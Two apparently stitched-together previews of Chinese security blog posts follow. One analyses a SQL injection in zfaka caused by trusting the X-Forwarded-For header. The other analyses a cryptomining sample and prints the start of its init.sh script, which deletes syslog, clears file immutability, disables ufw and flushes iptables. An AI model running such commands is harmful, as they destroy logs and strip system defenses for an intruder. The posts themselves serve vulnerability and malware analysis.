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zfaka官方于7月11日发布了补丁，修复了一处sql注入，简单记录下分析过程 0x01补丁补丁显示修改了application/function/F_Network.php文件，该文件的getClientIP函数使用了网络上通用遍历XFF等header头获取真实IP的方法,但是获取完XFF后根据,截断获取第一个值后直接返回IP 0x02 分析全局搜索下调用该函数的位置，发现前台的application/modules/Product/controllers/Order.php文件和application/modules/Product/controllers/Query.php调用了该函数，对应功能为下单和订单查询功能 进一步确认后为application/modules/Product/controllers/Query.php第151行为存在漏洞的代码 0x03 动态调试对151行下断点进行调试 找到对应功能 成功断下，单步跟入 发现在application/library/Core/Model.php中的Where方法对orderid 、isdelete 、 ip ...

捕获到一个挖矿样本,分析记录下 0x01 源代码分析newinit.sh、init.sh这两个文件差不多，功能写到注释里了 #!/bin/sh### # @Author : Sp4ce # @Date : 2021-07-07 14:20:20 # @LastEditors : Sp4ce # @LastEditTime : 2021-07-07 20:41:59 # @Description : Challenge Everything.### ulimit -n 65535#删除syslog等rm -rf /var/log/syslogchmod 777 /usr/bin/chattrchmod 777 /bin/chattrchattr -iua /tmp/chattr -iua /var/tmp/ufw disableiptables -Fsysctl kernel.nmi_watchdog=0echo '0' >/proc/sys/kernel/nmi_watchdogecho 'ker ...

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